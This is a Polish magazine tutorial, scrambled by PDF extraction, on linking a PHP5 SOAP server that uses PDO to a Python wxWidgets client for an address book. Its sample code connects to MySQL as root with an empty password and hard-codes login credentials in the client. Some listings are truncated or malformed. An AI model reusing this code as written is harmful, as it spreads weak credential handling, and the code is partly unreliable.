Każdy język ma swoje mocne strony: PHP słynie z oprogramowania serwerowego, Python – z możliwości łatwego tworzenia rozbudowanych aplikacji klienckich, wyposażonych w graficzny interfejs użytkownika (GUI). Łacząc możliwości obu języków, dzięki protokołowi SOAP, w prosty sposób otrzymamy potężną i funkcjonalną aplikację typu klient-serwer.

W
W SIECI
1. http://www.python.org/ – oficjalna strona Pythona 2. http://phplens.com/ phpeverywhere/?q=node/ view/185 – Python kontra PHP 3. http://wiki.w4py.org/pythonvs-php.html – Python kontra PHP 4. http://www.opensourcetutori als.com/tutorials/ServerSide-Coding/Python/ – tutoriale dla Pythona

yobraźmy sobie książkę teleadresową, w której będziemy przechowywali dane o namiarach znajomych czy kontrahentów. Chcielibyśmy, aby informacje były gromadzone w bazie danych na serwerze i udostępniane przez skrypt PHP-owy. Załóżmy że nie chcemy jednak korzystać z interfejsu webowego: znacznie bardziej wolimy wygodę i funkcjonalność graficznych interfejsów okienkowych pod Windowsem czy Linuksem. Z pomocą przychodzą nam usługi sieciowe (ang. Web Services), zwane też usługami sieciowymi, umożliwiające prostą do zorganizowania komunikację pomiędzy klientem a serwerem. Pisaliśmy już o nich w paru artykułach (Google API, XUL). Jednym z najpopularniejszych protokołów usług sieciowych jest SOAP. Przy jego pomocy połączymy zainstalowaną na serwerze, korzystającą z bazy danych aplikację PHP-ową z działającym na komputerze klienta interfejsem użytkownika napisanym

w Pythonie z użyciem wxWidgets.

Podstawowe założenia
Nasz system będzie się składał z następujących elementów: • • bazy danych – w niej będziemy składować dane książki teleadresowej, silnika (engine) – będzie się on znajdował po stronie serwera i odpowiadał wyłącznie za obsługę danych książki

Co należy wiedzieć...
Powinieneś znać model obiektowy i wyjątki w PHP5 oraz w Pythonie. Przydatna będzie wiedza na temat wxWidgets, protokołu SOAP i formatu XML.

Co obiecujemy...
Po przeczytaniu artykułu będziesz wiedział jak zbudować aplikację klient-serwer w oparciu o protokół SOAP, gdzie po stronie serwera jest skrypt PHP, natomiast klient jest napisany w Pythonie.

62
62_63_64_65_66_67_68_69_70_71_Python_PL.indd 62

www.phpsolmag.org

PHP Solutions Nr 3/2006

2006-04-05, 12:21:13

Mariaż Pythona i PHP

Projekty







teleadresowej: ich zwracanie, dodawanie, usuwanie i modyfikację; będzie też sprawdzał uprawnienia użytkownika do wykonania określonej operacji na danych, interfejsu silnik-SOAP – jego miejsce również jest po stronie serwera; będzie on organizował komunikację pomiędzy silnikiem, a aplikacją kliencką, przetwarzał format danych pomiędzy XML a tablicą, itd, interfejsu SOAP-GUI – będzie on częścią aplikacji klienckiej i, analogicznie jak interfejs silnik-SOAP, będzie odpowiadał za komunikację pomiędzy interfejsem graficznym (GUI) a oprogramowaniem serwera. interfejsu graficznego (GUI) – za jego pomocą użytkownik będzie przeglądał dane oraz wydawał polecenia (pobierz, skasuj, aktualizuj, dodaj do bazy) interfejsowi SOAP-GUI, który zajmie się ich dalszym przekazywaniem.

Wymagania i instalacja
Potrzebujemy PHP 5.1, m.in. ze względu na PDO, które powinno być załączone w dystrybucji. SOAP powinno również być dostępne w dystrybucji PHP, ale jeżeli kompilujemy parser, musimy użyć opcji --enable-soap. Dodatkowo, będziemy potrzebowali GNOME XML Library (libxml) w wersji co najmniej 2.5.4. W bloku extension pliku php.ini musi znajdować się odwołanie do soap.so lub php_soap.dll. Potrzebujemy też Pythona w wersji 2.4. Interpreter powinien być obecny w większości systemów Uni*owych, w tym dystrybucji Linuksa. Wersja pod Windows jest wyposażona w prosty instaler. Do zestawu pythonowego dodamy też wxWidgets (dawniej wxWindows), które możemy pobrać spod adresu http://wxpython.org. W obecnej wersji, dystrybucja jest rozdzielona na runtime (tego potrzebujemy) oraz dema i dokumentacje, które są przydatne, acz niewymagane. W wersji pod Linuksa, wxPython wymaga dodatkowo bibliotek glib i gtk+. Będziemy też potrzebowali biblioteki SOAPpy, zapewniającej obsługę SOAP pod Pythonem. Ona z kolei wymaga pyxml oraz fpconst, które należy zainstalować w pierwszej kolejności, później pobieramy i instalujemy bibliotekę SOAPpy. Instalacja rozszerzeń pythonowych przeprowadzana jest za pomocą poleceń: python setup.py build oraz python
setup.py install

Po zainstalowaniu wszystkich elementów nasz zestaw jest gotowy do pracy.

Listing 1. Konstruktor silnika – to tu odbywa się inicjalizacja bazy danych
public function __construct(){ $this->msg='todoListEngine is ready'; try{ $this->db = new PDO('mysql:host=localhost;dbname=test', 'root', ''); // bardzo ważny atrybut – dzięki niemu PDO wyrzuca wyjątek zamiast // FATAL ERROR $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); }catch (Exception $e){ return $this->errorArray("ERROR_NO_CONNECTION"); } }

Wzajemne interakcje tych elementów przedstawiamy na Rysunku 1. Typowa sytuacja wygląda następująco: na żądanie użytkownika, klient chce pobrać listę wszystkich rekordów, więc przekazuje żądanie do interfejsu SOAP-GUI, który z kolei zapisuje je w postaci XML i przesyła do aplikacji na serwerze. Tam żądanie jest odbierane przez interfejs silnik-SOAP, konwertowane z XML-a na tablicę i przekazywane silnikowi, który pobiera dane z bazy. Następnie, odpowiedź silnika trafia do interfejsu silnik-SOAP, gdzie jest przekształcana na XML i wysyłane do aplikacji klienckiej, gdzie znowu podlega zamianie na tablicę (a raczej słownik, gdyż tak nazywa się tablica asocjacyjna w Pythonie), która jest przekazywana do interfejsu graficznego i ew. wyświetlana. Silnik oraz interfejs SOAP stworzymy pod PHP5, korzystając z PDO, klasy SoapServer, poprawionego modelu obiektowego i wyjątków. Natomiast aplikację kliencką napiszemy w Pythonie (wersja 2.4), używając wxWidgets (interfejs graficzny), wbudowanych funkcji XML-owych oraz rozszerzenia SOAPpy. Wybraliśmy wxWidgets, gdyż jest to narzędzie rozbudowane, a zarazem przenośne, działające zarówno pod Linuksem, jak i Windowsem czy MacOS-em.

Listing 2. Metody narzędziowe, zwracające tablicę asocjacyjną zawierającą wyniki, komunikat lub informację o błędzie
private function resultArray($data){ return array('data_type'=>'entries','data_rows'=>$data); } private function msgArray($msg){ return array('data_type'=>'messages','data_rows'=>array(0=>array('msg'=> $msg))); } private function errorArray($errorMsg){ return array('data_type'=>'errors','data_rows'=>array(0=>array('error'=> $errorMsg))); }

Listing 3. getDataFromSRC – główna metoda do pobierania danych z bazy
private function getDataFromSRC($userName,$pass,$query,$queryParams=array() { try{ $a=$this->checkConnection(); $a=$this->checkLogin($userName,$pass); $stmt=$this->db->prepare($query); foreach($queryParams as $i=>$j){ $stmt->bindValue(":".$i,$j); } $stmt->execute(); $resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC); return $this->resultArray($resultArray); }catch (Exception $e){ return $this->handleExceptions($e, "ERROR_GET_FAILED");} } }

PHP Solutions Nr 3/2006

www.phpsolmag.org

63
2006-04-05, 12:21:21

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 63

Projekty

Mariaż Pythona i PHP

Tworzymy silnik
Przejdźmy teraz do tworzenia naszej aplikacji, zaczynając od silnika. Wykonanie dowolnej operacji na danych będzie wymagało autoryzacji (którą będzie sprawdzał silnik) poprzez każdorazowe przesłanie hasła i loginu. Wszelkie błędy w działaniu silnika zostaną obsłużone przez system wyjątków (exceptions). Nasz silnik będzie miał postać klasy book_engine. Zacznijmy od zdeklarowania publicznych i prywatnych zmiennych klasy: $db (handler bazy danych), $requiredFields (zestaw pól wymaganych podczas dodawania danych do bazy), $requiredFieldsUpdate (pola wymagane przy aktualizacji danych w bazie) oraz $msg (komunikat zwracany przez silnik, wykorzystywany przez klienta w celu sprawdzenia, czy silnik działa). Teraz przejdziemy do metod, zaczynając od konstruktora (Listing 1). To tutaj zainicjujemy bazę danych, tworząc obiekt $this->db klasy PDO. Operacja ta wymaga podania adresu serwera, nazwy bazy, loginu i hasła (to ostatnie nie jest obowiązkowe, można zostawić puste pole). Następnie ustawimy (setAttribute) atrybut PDO::ATTR_ERRMODE tej klasy: odpowiada on za sposób traktowania błędów w działaniu interfejsu PDO, takich jak np. brak połączenia z serwerem bazodanowym czy błędna składnia kwerendy. Chcemy, aby wszelkie problemy tego rodzaju były obsługiwane poprzez zgłaszanie wyjątku, więc ustawimy PDO:: ATTR_ERRMODE na PDO::ERRMODE_EXCEPTION. Co więcej, całą operację inicjalizacji bazy danych i ustawienia tego parametru ujmiemy w bloku try...catch: w razie wystąpienia błędu, funkcja zwróci komunikat ERROR_NO_CONNECTION, który może później zostać obsłużony przez klienta.

Podstawowe różnice pomiędzy Pythonem a PHP
• • brak średników między poleceniami (np. na końcach wiersza), o składni decydują wcięcia – trzeba się ich trzymać co do kolumny w każdym bloku, bo inaczej parser zwróci Syntax Error. Bloki otwieramy przez dwukropek i nie zamykamy, kropka służy jako separator pomiędzy obiektem a metodą lub atrybutem, a nie do łączenia łańcuchów (którego dokonujemy przy użyciu znaku +), tablice asocjacyjne – w Pythonie występują dwa najprostsze rodzaje tablic: lista indeksowana (list, której ogranicznikami są nawiasy kwadratowe [] oraz oparty na ) kluczach słownik (dictionary, dict, którego ogranicznikami są nawiasy klamrowe {} ). Można łączyć oba typy, tzn. w listach zawierać słowniki i vice versa, w klasach nie ma podziału na metody publiczne i prywatne, nazwy zmiennych w Pythonie nie zaczynają się od znaku $, funkcje i metody deklarujemy przy użyciu instrukcji def, konstruktor klasy to _ _ init _ _ () , wewnątrz klasy na utworzony obiekt wskazuje zmienna self, nie $this.

• •

• • • •

Zwróćmy też uwagę na wywołanie funkcji errorArray: jest to prywatna metoda klasy book_engine, której zadaniem jest zwracanie błędów w postaci tablicy przygotowanej do późniejszego przekształcenia na XML. Na Listingu 2 widzimy tę funkcję obok resultArray i msgArray, odpowiadających za zwracanie wyników operacji bazodanowych oraz komunikatów innych, niż informacje o błędach. W każdym przypadku, tablica wygląda tak samo: różni się jedynie elementem określającym typ zwracanych danych (entries – wyniki, errors – błędy i messages – komunikaty), na podstawie którego klient będzie później oceniał, jakiego typu informacja do niego dotarła.

Pobieranie danych z bazy
Potrzebujemy teraz metody pozwalającej na pobieranie danych z bazy: określonego rekordu (wg ID) lub wszystkich rekordów. Nasza metoda będzie się nazywała getDataFromSRC() i będzie przyjmowała następujące parametry (Listing 3): nazwę użytkownika ($userName), hasło ($pass),

baza danych interfejs silnik SOAP silnik aplikacji interfejs SOAPGUI

GUI

SOAP

SERWER

KLIENT

Rysunek 1. Schemat działania systemu książki teleadresowej

kwerendę ($query) oraz opcjonalnie parametry kwerendy ($queryParams). Następnie w bloku try..catch sprawdzamy, czy zostało nawiązane połączenie oraz, czy użytkownik został poprawnie zalogowany. Dokonamy tego za pomocą dwóch metod narzędziowych: checkConnection() oraz checkLogin() (Listing 4), które w razie niepowodzenia wyrzucą wyjątek. Obsługą wyjątków zajmie się prywatna metoda klasy book_engine, handleExceptions(). Takie użycie wyjątków jest sensowne i nie jest przesadą, gdyż każda niemożność wykonania operacji przez aplikację serwerową dla klienta jest po prostu błędem, niezależnie od źródła tego błędu. Wyjątki zapewniają możliwość kontrolowania wszelkich sytuacji tego rodzaju w dwóch czytelnych blokach, bez zaciemniania kodu dziesiątkami dodatkowych konstrukcji typu if..else czy switch(). Jeżeli zarówno połączenie, jak i logowanie odbyły się poprawnie, przechodzimy do wysyłania kwerendy. Skorzystamy w tym celu ze świetnej możliwości oferowanej także przez PDO, nazywanej prepared statements (pisaliśmy o niej szerzej w „PDO – przyszły standard dostępu do baz danych” PHP Solutions 5/2005). Prepared statements ułatwiają tworzenie kwerendy, zastępując tradycyjne, polegające na łączeniu łańcuchów metody wpisywania parametrów poprzez tworzenie pewnego rodzaju szablonów zapytania, gdzie za pomocą specjalnych odnośników (rozpoczynających się przeważnie od dwukropka) przekazujemy do zapytania zmienne lub ich wartości. Zalety prepared statements nie kończą się jednak na ułatwianiu programowania: ich użycie powoduje również automatyczne i odpowiednie dla danego typu bazy danych eskejpowanie znaków (ang. character escaping), co

64
62_63_64_65_66_67_68_69_70_71_Python_PL.indd 64

www.phpsolmag.org

PHP Solutions Nr 3/2006

2006-04-05, 12:21:23

Mariaż Pythona i PHP
chroni nas przed atakami SQL Injection oraz zniesienie konieczności wpisywania cudzysłowów lub apostrofów w samej kwerendzie, co umożliwia bezproblemowe przekazywanie danych zawierających te znaki w dowolnym układzie. Aby utworzyć nowy prepared statement o nazwie $stmt, użyjemy metody prepare() naszego obiektu $this->db. Określimy w niej podstawową formę kwerendy (szablon). Następnie, w pętli foreach odczytamy kolejne parametry, jeżeli zostały one zdefiniowane w ostatnim, opcjonalnym argumencie getDataFromSRC(). Argument ten jest tablicą asocjacyjną, zawierającą klucze (na ich podstawie stworzymy nazwy odnośników, o których mówiliśmy) oraz wartości, które przypiszemy do prepared statement używając metody bindValue() obiektu $stmt. Gotowy statement wykonamy używając $stmt->execute(), a następnie przy pomocy $stmt->fetchAll() odczytamy wyniki (PDO::FETCH_ASSOC – w postaci tablicy asocjacyjnej). Jeżeli wszystko przebiegło poprawnie, funkcja zwróci tablicę wyników (resultArray()), a jeżeli wystąpił błąd, zwrócony zostanie komunikat błędu ERROR_GET_FAILED. Zauważmy, że getDataFromSRC() jest metodą prywatną. Jest to celowe i wynika ze względów bezpieczeństwa: wszak przekazujemy do niej kwerendę i nie chcemy, aby można było to zrobić np. za pomocą interfejsu silnik-SOAP. Kwerendy będziemy przekazywać przy użyciu publicznych metod getAllEntries() oraz getOneEntry() (Listing 5), które będą zwracały wszystkie pozycje z tabeli bazodanowej lub jedną wybraną. Pierwsza z tych metod wymaga podania jedynie loginu i hasła, podczas gdy druga potrzebuje także ID wybranego rekordu. Każdy wiersz tablicy musi zawierać klucze o nazwach odpowiadających polom tabeli bazodanowej book – będzie to sprawdzane przy użyciu prywatnej metody narzędziowej checkRequiredFields(), wyrzucającej w razie błędu wyjątek z komunikatem ERROR_BAD_DATA. Warto pamiętać, iż metoda ta sprawdza jedynie pola zdeklarowane w tablicy $this->requiredFields, wśród których nie znajduje się ID – nie ma więc znaczenia, czy zestaw danych przekazywanych do addDataToSRC() zawiera takowy atrybut, czy nie. Następnie, dla każdego wersu tworzony będzie prepared state-

Projekty

ment z poleceniem INSERT i parametrami odpowiadającymi nazwom pól z $this>requiredFields, po czym zostanie wykonana kwerenda. W przypadku udanego dodania rekordu metoda zwróci komunikat OK_ADDED_DATA, lub ERROR_ADD_FAILED w razie niepowodzenia. W tym drugim przypadku otrzymamy również bardziej szczegółowy komunikat (np. ERROR_BAD_DATA), następujący po ERROR_ADD_FAILED i oddzielony od niego znakiem =. Metoda jest gotowa. Analogicznie do getDataFromSRC(), addDataToSRC() jest metodą prywatną

Listing 4. Metody narzędziowe, sprawdzające połączenie (checkConnection()) i zalogowanie (checkLogin) oraz metoda obsługująca wyjątki (handleExceptions())
private function checkConnection(){ if(!isset($this->db)) { throw new Exception ('ERROR_NO_CONNECTION'); } } private function checkLogin($userName,$pass){ ...

Listing 5. Metody getOneEntry() oraz getAllEntries(), przekazujące odpowiednią kwerendę do getDataFromSRC()
public function getOneEntry($userName,$pass,$id){ $query="SELECT * from book WHERE id=:id"; $entries=$this->getDataFromSRC($userName,$pass,$query,array('id'=>$id)); return $entries; } public function getAllEntries($userName,$pass){ $query="SELECT * from book";

... Listing 6. addDataToSRC – metoda służąca dodawaniu nowych rekordów do bazy oraz jej interfejs, addEntry()
private function addDataToSRC($userName,$pass,$data){ try{ $a=$this->checkConnection(); $a=$this->checkLogin($userName,$pass); foreach($data as $i){ // iteruj wszystkie rzędy tablicy, które będą dodane (zwykle jest 1) $a=$this->checkRequiredFields($i); $stmt=$this->db->prepare("INSERT INTO book ". ... } // end of $i foreach return $this->msgArray("OK_ADDED_DATA"); }catch (Exception $e){ return $this->handleExceptions ($e,"ERROR_ADD_FAILED"); } } public function addEntry($userName,$pass,$data){ $result=$this->addDataToSRC($userName,$pass,$data); return $result; } private function checkRequiredFields($data,$action='add'){ if($action=='add') { $requiredFields=$this->requiredFields; } if($action=='update') { $requiredFields=$this->requiredFieldsUpdate; } foreach($requiredFields as $i){ if(!isset($data[$i])) { throw new Exception ('ERROR_BAD_DATA'); } } return true; }

Dodawanie nowych rekordów
Stworzymy teraz metodę addDataToSRC(), (Listing 6), która będzie odpowiadała za dodawanie nowych rekordów do bazy. Przyjmuje ona 3 parametry: login, hasło i dane do wstawienia, a swoje działanie rozpoczyna od sprawdzania poprawności połączenia i zalogowania. Przejdźmy teraz do przetwarzania przekazanych danych: metoda addDataToSRC() pozwala na dodanie jednego lub więcej rekordów za jednym wywołaniem; w obu przypadkach przekazujemy tablicę pozycji do wstawienia, która następnie będzie iterowana w pętli foreach.

PHP Solutions Nr 3/2006

www.phpsolmag.org

65
2006-04-05, 12:21:24

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 65

Projekty

Mariaż Pythona i PHP
zauważyć, że checknie korzysta z metody getDataFromSRC() – jest to celowe, aby nie wiązać prostej metody narzędziowej, jaką jest checkEntryExists(), z rozbudowaną metodą odczytu danych. Prawie identycznie, jak w przypadku addDataToSRC(), wygląda natomiast tworzenie prepared statement, z jedną zasadniczą różnicą: tu używamy polecenia SQL-owego UPDATE, a nie INSERT. Zwracanym przez tę funkcję komunikatem o pomyślnym zakończeniu operacji jest natomiast OK_UPDATED_DATA, a o niepowodzeniu – ERROR_UPDATE_FAILED. Podobnie, jak addDataToSRC(), updateDataInSRC() ma metodę publiczną, która ją wywołuje (updateEntry()).
EntryExists()

– dane przekazujemy przy użyciu publicznej metody addEntry(), która przyjmuje takie same parametry, jak addDataToSRC().

Warto

też

Aktualizacja danych
Do aktualizacji rekordów naszej książki teleadresowej posłuży metoda updateDataInSRC() (Listing 7). Generalnie, większość jej kodu jest bardzo podobna do addDataToSRC(). Różnice pojawiają się w przypadku zestawu wymaganych pól – ten dla aktualizacji będzie zawierał również ID rekordu i zostanie określony w tablicy $this->requiredFieldsUpdate. Drugą istotną różnicą jest to, że updateDataInSRC() sprawdza przy pomocy metody checkEntryExists() (Listing 8), czy aktualizowany rekord występuje w tabeli bazodanowej book. Jeżeli takowy nie istnieje, wyrzucany jest wyjątek z komunikatem ERROR_NO_ENTRY.

prywatną metodę deleteEntryFromSRC() (Listing 9) oraz publiczną deleteEntry(). Metoda deleteEntryFromSRC() przyjmuje login, hasło oraz pojedyncze ID – pozwala więc na skasowanie tylko jednego rekordu na raz, co jest celowe, gdyż zwiększa bezpieczeństwo danych. Podobnie, jak poprzednia metoda (updateDataInSRC()), deleteEntryFromSRC() sprawdza połączenie, zalogowanie i występowanie pozycji w tabeli bazodanowej, a następnie sporządza i wykonuje prepared statement. W przypadku powodzenia operacji metoda zwraca OK_DELETED_DATA, a w razie niepowodzenia – ERROR_DELETE_FAILED. Nasz silnik jest gotowy. Zapiszmy go w pliku bookengine.php.

Kasowanie danych
Czas na ostatnią operację bazodanową: kasowanie danych. Stworzymy w tym celu

Tworzymy interfejs silnik – SOAP
Czas na interfejs silnik-SOAP. Jak już wiemy, jego zadaniem będzie przekształcanie danych pomiędzy tablicą a XML-em oraz ich przesyłanie pomiędzy klientem a silnikiem. W tej dziedzinie nigdy nie możemy na 100% zaufać w solidność bibliotek po drugiej stronie, gdyż są one często w wersji rozwojowej. Użycie XML-a chroni nas przed wszelkimi niekompatybilnościami. Zaczniemy od utworzenia klasy interface_SOAP (Listing 10), która będzie główną klasą interfejsu silnik-SOAP i będzie udostępniana w ramach komunikacji SOAP (o tym zaraz). Na początku ustalimy dwie zmienne publiczne: $book (instancja naszego silnika) oraz $msg (komunikat o połączeniu z silnikiem). Następnie przejdziemy do konstruktora: utworzymy w nim instancję klasy bookengine, oraz obiekt klasy XML_Array, służącej do konwersji danych między tablicą a formatem XML. W artykule nie omówimy tej klasy – jej kod źródłowy (podobnie jak kod całej aplikacji) znajduje się na naszej stronie WWW. Teraz wystarczy wczytać komunikat z silnika (getMsg())– jeżeli został zmieniony, to silnik został zainicjowany prawidłowo. Następne metody: getOneEntry(), getAllEntries(), addEntry(), updateEntry() oraz deleteEntry() odpowiadają metodom klasy bookengine. Ich zadaniem jest jedynie konwersja formatu danych (tablica<->XML) pomiędzy silnikiem a klientem. Odbywa się to przy użyciu metod retArrayToXML() (tablica -> XML) oraz retXMLToArray() (XML -> tablica) klasy XML_Array. Zapiszmy teraz gotową klasę w pliku todoserver.php i udostępnij-

Listing 7. updateDataInSRC – aktualizacja danych w bazie
private function updateDataInSRC($userName,$pass,$data){ try{ $a=$this->checkConnection(); $a=$this->checkLogin($userName,$pass); foreach($data as $i){ // check, whether each row contains the correct data $a=$this->checkRequiredFields($i,'update'); $a=$this->checkEntryExists($userName,$pass,$i['id']); $stmt=$this->db->prepare("UPDATE book SET ". ... } return $this->msgArray("OK_UPDATED_DATA"); }catch (Exception $e){ return $this->handleExceptions($e, "ERROR_UPDATE_FAILED"); } } public function updateEntry($userName,$pass,$data){ $result=$this->updateDataInSRC($userName,$pass,$data); return $result; }

Listing 8. checkEntryExists – sprawdzanie, czy rekord tabeli istnieje
public function checkEntryExists($userName,$pass,$id){ $query="SELECT * from book WHERE id=:id"; try{ $a=$this->checkConnection(); $a=$this->checkLogin($userName,$pass); $stmt=$this->db->prepare($query); .... $resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC); } catch (Exception $e){ throw new Exception("ERROR_NO_CONNECTION"); } // jeżeli operacje bazodanowe były OK, ale nie znaleziono pozycji, // wyrzuć wyjątek z komunikatem ERROR_NO_ENTRY. Zostanie on przejęty przez // metodę wywołującą, nie przez tę, w której jesteśmy if($resultArray==array()) { throw new Exception ("ERROR_NO_ENTRY"); } else { return true; } }

66
62_63_64_65_66_67_68_69_70_71_Python_PL.indd 66

www.phpsolmag.org

PHP Solutions Nr 3/2006

2006-04-05, 12:21:25

Mariaż Pythona i PHP
my ją klientom łączącym się przez SOAP. W tym celu utworzymy instancję $x klasy SoapServer. Następnie używając metody setClass() obiektu $x wybieramy klasę interface_SOAP do udostępnienia, które rozpoczniemy przy pomocy handle(). Nasza praca po stronie serwera została zakończona.
import SOAPpy,sys,copy import xml.dom.minidom

Projekty

Przetwarzanie XML-a
Teraz – podobnie, jak to miało miejsce po stronie serwera – stworzymy metody odpowiadające za konwersję XML-a na tablicę (retXMLToArray()) i vice versa (retArrayToXML()). Wykorzystamy w tym celu klasę xml.dom.minidom oraz rozszerzenia pyxml. Nie omówimy tych metod w artykule – ich kod źródłowy, podobnie jak klasy PHP-owej XML_Array, znajduje się na naszej stronie WWW.

Ujarzmianie Pythona: tworzymy aplikację kliencką
A więc doszliśmy do tworzenia aplikacji klienckiej w Pythonie. Utworzymy plik book_client.py i zaczniemy od zaimportowania potrzebnych modułów:

Tutaj też utworzymy klasę interface_soap, która w przeciwieństwie do interface_SOAP z PHP będzie obsługiwała stronę kliencką. Zacznijmy od konstruktora (metoda __init__(), Listing 11). Inicjalizujemy w nim klienta SOAP – klasę SOAPProxy z modułu SOAPpy (który musi być wcześniej zainstalowany) i przekazujemy jej konstruktorowi URL serwera SOAP. Operację tę wykonujemy w bloku try..except, try..catch odpowiadającym blokowi w PHP: except zbiera wyrzucone wyjątki.

Korzystanie z metod PHP-owych w Pythonie
Nadszedł czas na zdefiniowanie metod, za pomocą których będziemy wywoływali metody PHP-owe. Nadamy im takie same nazwy, jak w PHP. Zastosujemy nawet identyczne nazwy argumentów, z wyjątkiem pass, gdyż jest to słowo zastrzeżone. Zacznijmy od getOneEntry() (Listing 12). Jej kod umieścimy w bloku try..except. Zaczniemy od odczytania XML-a z serwera. Tutaj właśnie widzimy, jak używać metod PHP-owych: są one po prostu metodami obiektu self.server! Proste, prawda? Po odczytaniu danych przekształcamy je na tablicę (self.retXMLToArray()) i zwracamy. I tu uwaga: nie zwracamy samych danych, tylko ich kopię (copy.deepcopy(data)) – jest to koniecznie, gdyż domyślnie Python nie kopiuje tablicy, tylko tworzy wskaźnik do niej, co mogłoby narobić poważnych szkód. Analogicznie radzimy sobie z pozostałymi metodami dostępu do danych: getAllEntries(), addEntry(), updateEntry() oraz deleteEntry() – na Listingu 13 przedstawiamy pierwsze wersy ich deklaracji. Część naszej aplikacji klienckiej odpowiedzialna za dostęp do danych jest już gotowa. Pora na interfejs graficzny (GUI).

Listing 9. deleteDataFromSRC – kasowanie danych z bazy
private function deleteDataFromSRC($userName,$pass,$id){ try{ $a=$this->checkConnection(); $a=$this->checkLogin($userName,$pass); $a=$this->checkEntryExists($userName,$pass,$id); $stmt=$this->db->prepare("DELETE FROM book WHERE id=:id"); ...

Listing 10. interface_SOAP – główna klasa interfejsu silnik-SOAP
class interface_SOAP{ public $book; // instancja silnika public $msg='initial message: not connected yet'; public function __construct(){ $this->book=new bookListEngine(); $this->xarr=new XML_Array(); $this->msg=$this->book->getMsg(); } public function getMsg(){ return $this->msg; } public function getOneEntry($userName,$pass,$id){ $data=$this->book->getOneEntry($userName,$pass,$id); $dataXML=$this->xarr->retArrayToXML($data); return $dataXML; } public function getAllEntries($userName,$pass){ $data=$this->book->getAllEntries($userName,$pass); ... } public function addEntry($userName,$pass,$dataXML){ $data=$this->xarr->retXMLToArray($dataXML); $result=$this->book->addEntry($userName,$pass, $data['data_rows']); ... } public function updateEntry($userName,$pass,$dataXML){ ... $result=$this->book->updateEntry($userName,$pass,$data['data_rows']); ... } public function deleteEntry($userName,$pass,$id){ $result=$this->book->deleteEntry($userName,$pass,$id); ... } } // koniec klasy interface_SOAP $x=new SoapServer(null,array('uri'=>'http://localhost/php/')); $x->setClass("interface_SOAP"); $x->handle();

Tworzymy interfejs graficzny w Pythonie
Będzie on wyglądał jak na Rysunku 2. Mamy mieć możliwość przeglądania listy rekordów książki teleadresowej i wyświetlania wybranej pozycji. Chcemy też móc dodawać nowe wpisy, a także kasować i modyfikować istniejące. Do tych ostatnich czynności posłużą nam okna dialogowe.

Tworzymy lokalny model danych
Do tego jednakże potrzebujemy lokalnego modelu danych. Nie chcemy przecież łączyć się z bazą danych za każdym razem, gdy np. przechodzimy do kolejnej pozy-

PHP Solutions Nr 3/2006

www.phpsolmag.org

67
2006-04-05, 12:21:27

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 67

Projekty

Mariaż Pythona i PHP
cji na liście. Nie chcemy również umieszczać operacji na lokalnych danych w klasie interface_soap, gdyż jej celem jest wyłącznie pośredniczenie w komunikacji SOAP. Stworzymy więc nową klasę, którą nazwiemy tempDataModel (chwilowy model danych, Listing 14). Jej głównym celem będzie pobieranie danych z bazy (przy pomocy klasy interface_soap) i przechowywanie ich w tablicy dataTemp, z której będziemy mogli je pobierać przy użyciu metod getTempEntry() (odczyt jednego rekordu) oraz getAllTempData() (odczytanie całej tablicy). Do odczytu danych z bazy używamy metody reloadData(), a do wyzerowania i odświeżenia całego modelu danych – resetTempDataModel(). Klasa pośredniczy również w kasowaniu (deleteEntryFromDB()), dodawaniu (addEntryToDB()) oraz aktualizacji (updateEntryInDB()) danych w bazie, za każdym razem powodując ponowny odczyt danych z tabeli book oraz wyzerowanie i odświeżenie zawartości tablicy dataTemp. Podczas resetowania danych sprawdzamy ich poprawność. Gotową klasę modelu danych zapiszemy w pliku tempdatamodel.py. Wróćmy teraz do konstruowania interfejsu graficznego.

Listing 11. Konstruktor klasy interface_soap w Pythonie
def __init__(self): try: self.server = SOAPpy.SOAPProxy("http://localhost/php/todoserver.php") except: print "ERROR: can not connect to server" sys.exit()

Listing 12. getOneEntry w interface_soap: używanie metod PHP-owych w Pythonie
def getOneEntry(self,userName,password,id): try: dataXML=self.server.getOneEntry(userName,password,id) data=self.retXMLToArray(dataXML) return copy.deepcopy(data)

... Listing 13. Deklaracje pozostałych metod dostępu do danych w Pythonie
def def def def def getOneEntry(self,userName,password,id): getAllEntries(self,userName,password): addEntry(self,userName,password,data): updateEntry(self,userName,password,data): deleteEntry(self,userName,password,id):

Listing 14. Lokalny (chwilowy) model danych w Pythonie
class tempDataModel: def __init__(self): self.dataInterface=interface_soap() self.resetTempDataModel() def reloadData(self): # metoda prywatna return self.dataInterface.getAllEntries('critto','1qazse4') def resetTempDataModel(self): # metoda publiczna dataTMP0=self.reloadData() self.dataTemp={} try: ... if(dataTMP0['data_type']=='entries'): for i in dataTMP0['data_rows']: id=i['id'] self.dataTemp[str(id)]=i # porządkowanie self.dataTemp wg ID wersu danych self.Errors=0 else: ... def getAllTempData(self): return copy.deepcopy(self.dataTemp) def getTempEntry(self,id): try: if not(self.getErrors()): return copy.deepcopy(self.dataTemp[str(id)]) # to MUSI być łańcuch ... def deleteEntryFromDB(self,id): a=self.dataInterface.deleteEntry('critto','1qazse4',id) self.resetTempDataModel() return copy.deepcopy(a) def addEntryToDB(self,data): # implikuje tylko jeden rekord dataOK={'data_type':'entries','data_rows':[data]} result=self.dataInterface.addEntry('critto','1qazse4',dataOK) ... def updateEntryInDB(self,data,id): ... # analogicznie jak addEntryToDB

Budujemy główną część aplikacji
Tworzenie interfejsu graficznego rozpoczniemy od zainicjowania głównego okna aplikacji – instancji mainF klasy wx.Frame (Listing 15). Zauważmy, że konstruujemy ten obiekt wewnątrz metody OnInit() klasy MainModule, która dziedziczy z wx.App – blok ten musi istnieć w każdej aplikacji korzystającej z wxWidgets. Późniejsze utworzenie obiektu klasy MainModule() oraz wywołanie jej metody MainLoop() również jest niezbędne, gdyż otwiera główną pętlę działania aplikacji wxWidgets – chcąc nie chcąc, musimy więc w niej zawrzeć całą logikę programu. Zaczniemy od konstruktora tej klasy (__init__(), Listing 16), w którym najpierw zainicjujemy klasę nadrzędną, a następnie zadeklarujemy kilka właściwości obiektu: listy pól wymaganych self.requiredFieldsAll i self. requiredFieldsList, numer na liście oraz ID wybranej pozycji (self.entrySelected i self.entrySelectedID) oraz zdefiniujemy model danych (dataModel). Ze względu na konstrukcję wxWidgets, okno (wx.Frame) musi zawierać

68
